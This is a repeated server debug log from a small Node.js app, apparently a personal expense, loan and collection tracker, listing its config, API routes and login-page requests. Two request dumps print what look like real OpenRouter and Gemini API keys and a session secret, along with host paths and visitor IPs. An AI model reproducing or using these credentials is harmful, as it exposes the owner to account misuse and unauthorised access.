  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-27T03:41:49.979Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-27T03:41:50.845Z server-connect:setup:upload Upload middleware configured.
2026-04-27T03:41:50.845Z server-connect:secure CSRF Protection initialized
2026-04-27T03:41:50.851Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-27T03:41:50.853Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-27T03:41:50.854Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-27T03:41:50.860Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-27T03:41:50.863Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-27T03:41:50.867Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-27T03:41:50.881Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-27T03:41:50.894Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-27T03:41:50.900Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-27T03:41:50.900Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-27T03:41:50.902Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-27T03:41:50.908Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-27T03:41:50.913Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-27T03:41:50.923Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-27T03:41:50.926Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-27T03:41:51.000Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-27T03:41:51.001Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-27T03:41:51.004Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-27T03:41:51.010Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-27T03:41:51.013Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-27T03:41:51.016Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-27T03:41:51.024Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-27T03:41:51.026Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-27T03:41:51.032Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-27T03:41:51.032Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-27T03:41:51.037Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-27T03:41:51.040Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-27T03:41:51.040Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-27T03:41:51.047Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-27T03:41:51.050Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-27T03:41:51.050Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-27T03:41:51.054Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-27T03:41:51.058Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-27T03:41:51.058Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-27T03:41:51.064Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-27T03:41:51.069Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-27T03:41:51.072Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-27T03:41:51.080Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-27T03:41:51.582Z server-connect:router Serving templateView /
2026-04-27T03:41:51.586Z server-connect:app Executing action step identify
2026-04-27T03:41:51.586Z server-connect:app options: { provider: 'security' }
2026-04-27T03:41:51.588Z server-connect:auth No login cookie found
2026-04-27T03:41:51.588Z server-connect:output identity: false
2026-04-27T03:41:51.588Z server-connect:app Executing action step restrict
2026-04-27T03:41:51.588Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-27T03:41:51.592Z server-connect:output restrict: undefined
2026-04-27T03:41:58.165Z server-connect:router Serving templateView /login
2026-04-27T03:41:58.166Z server-connect:app Executing action step identify
2026-04-27T03:41:58.166Z server-connect:app options: { provider: 'security' }
2026-04-27T03:41:58.166Z server-connect:auth No login cookie found
2026-04-27T03:41:58.166Z server-connect:output identity: false
2026-04-27T03:41:58.166Z server-connect:router Render template layouts/authentication
2026-04-27T03:41:58.167Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'RecordedFuture Global Inventory Crawler',
    xxxxxxxxxx: 'close',
    referer: 'https://65.21.215.19:443',
    'x-scanned-by': 'RecordedFuture-Global Inventory',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '18.235.110.182',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-28T03:41:58.163Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '18.235.110.182',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'RecordedFuture Global Inventory Crawler',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_REFERER: 'https://65.21.215.19:443',
    'HTTP_X_SCANNED-BY': 'RecordedFuture-Global Inventory',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '18.235.110.182',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-27T07:57:40.935Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-27T07:57:43.145Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-27T07:57:44.009Z server-connect:setup:upload Upload middleware configured.
2026-04-27T07:57:44.009Z server-connect:secure CSRF Protection initialized
2026-04-27T07:57:44.014Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-27T07:57:44.017Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-27T07:57:44.018Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-27T07:57:44.020Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-27T07:57:44.026Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-27T07:57:44.032Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-27T07:57:44.043Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-27T07:57:44.058Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-27T07:57:44.061Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-27T07:57:44.063Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-27T07:57:44.065Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-27T07:57:44.069Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-27T07:57:44.075Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-27T07:57:44.084Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-27T07:57:44.089Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-27T07:57:44.159Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-27T07:57:44.160Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-27T07:57:44.165Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-27T07:57:44.170Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-27T07:57:44.174Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-27T07:57:44.176Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-27T07:57:44.184Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-27T07:57:44.186Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-27T07:57:44.192Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-27T07:57:44.194Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-27T07:57:44.198Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-27T07:57:44.200Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-27T07:57:44.202Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-27T07:57:44.208Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-27T07:57:44.208Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-27T07:57:44.212Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-27T07:57:44.212Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-27T07:57:44.218Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-27T07:57:44.219Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-27T07:57:44.225Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-27T07:57:44.231Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-27T07:57:44.233Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-27T07:57:44.243Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-27T07:57:44.733Z server-connect:router Serving templateView /
2026-04-27T07:57:44.735Z server-connect:app Executing action step identify
2026-04-27T07:57:44.735Z server-connect:app options: { provider: 'security' }
2026-04-27T07:57:44.737Z server-connect:auth No login cookie found
2026-04-27T07:57:44.737Z server-connect:output identity: false
2026-04-27T07:57:44.738Z server-connect:app Executing action step restrict
2026-04-27T07:57:44.738Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-27T07:57:44.742Z server-connect:output restrict: undefined
2026-04-27T08:16:30.533Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-27T08:16:31.332Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-27T08:16:32.082Z server-connect:setup:upload Upload middleware configured.
2026-04-27T08:16:32.082Z server-connect:secure CSRF Protection initialized
2026-04-27T08:16:32.084Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-27T08:16:32.085Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-27T08:16:32.087Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-27T08:16:32.087Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-27T08:16:32.090Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-27T08:16:32.097Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-27T08:16:32.109Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-27T08:16:32.123Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-27T08:16:32.123Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-27T08:16:32.126Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-27T08:16:32.129Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-27T08:16:32.129Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-27T08:16:32.135Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-27T08:16:32.145Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-27T08:16:32.147Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-27T08:16:32.155Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-27T08:16:32.157Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-27T08:16:32.159Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-27T08:16:32.165Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-27T08:16:32.171Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-27T08:16:32.174Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-27T08:16:32.175Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-27T08:16:32.177Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-27T08:16:32.184Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-27T08:16:32.185Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-27T08:16:32.190Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-27T08:16:32.190Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-27T08:16:32.192Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-27T08:16:32.194Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-27T08:16:32.196Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-27T08:16:32.198Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-27T08:16:32.200Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-27T08:16:32.202Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-27T08:16:32.204Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-27T08:16:32.210Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-27T08:16:32.214Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-27T08:16:32.215Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-27T08:16:32.226Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-27T08:16:32.638Z server-connect:router Serving templateView /
2026-04-27T08:16:32.640Z server-connect:app Executing action step identify
2026-04-27T08:16:32.640Z server-connect:app options: { provider: 'security' }
2026-04-27T08:16:32.642Z server-connect:auth No login cookie found
2026-04-27T08:16:32.642Z server-connect:output identity: false
2026-04-27T08:16:32.642Z server-connect:app Executing action step restrict
2026-04-27T08:16:32.643Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-27T08:16:32.647Z server-connect:output restrict: undefined
2026-04-27T08:16:34.553Z server-connect:router Serving templateView /login
2026-04-27T08:16:34.553Z server-connect:app Executing action step identify
2026-04-27T08:16:34.553Z server-connect:app options: { provider: 'security' }
2026-04-27T08:16:34.554Z server-connect:auth No login cookie found
2026-04-27T08:16:34.554Z server-connect:output identity: false
2026-04-27T08:16:34.554Z server-connect:router Render template layouts/authentication
2026-04-27T08:16:34.555Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '157.230.107.10',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-28T08:16:34.551Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.230.107.10',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '157.230.107.10',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-28T01:21:20.896Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-28T01:21:23.042Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-28T01:21:23.873Z server-connect:setup:upload Upload middleware configured.
2026-04-28T01:21:23.873Z server-connect:secure CSRF Protection initialized
2026-04-28T01:21:23.877Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-28T01:21:23.879Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-28T01:21:23.880Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-28T01:21:23.884Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-28T01:21:23.894Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-28T01:21:23.895Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-28T01:21:23.910Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-28T01:21:23.922Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-28T01:21:23.926Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-28T01:21:23.928Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-28T01:21:23.930Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-28T01:21:23.933Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-28T01:21:23.940Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-28T01:21:23.949Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-28T01:21:23.952Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-28T01:21:24.027Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-28T01:21:24.028Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-28T01:21:24.031Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-28T01:21:24.038Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-28T01:21:24.042Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-28T01:21:24.042Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-28T01:21:24.050Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-28T01:21:24.052Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-28T01:21:24.059Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-28T01:21:24.062Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-28T01:21:24.065Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-28T01:21:24.065Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-28T01:21:24.069Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-28T01:21:24.073Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-28T01:21:24.077Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-28T01:21:24.077Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-28T01:21:24.081Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-28T01:21:24.084Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-28T01:21:24.086Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-28T01:21:24.092Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-28T01:21:24.096Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-28T01:21:24.098Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-28T01:21:24.108Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-28T04:14:58.519Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-28T04:15:00.793Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-28T04:15:01.657Z server-connect:setup:upload Upload middleware configured.
2026-04-28T04:15:01.658Z server-connect:secure CSRF Protection initialized
2026-04-28T04:15:01.661Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-28T04:15:01.663Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-28T04:15:01.664Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-28T04:15:01.666Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
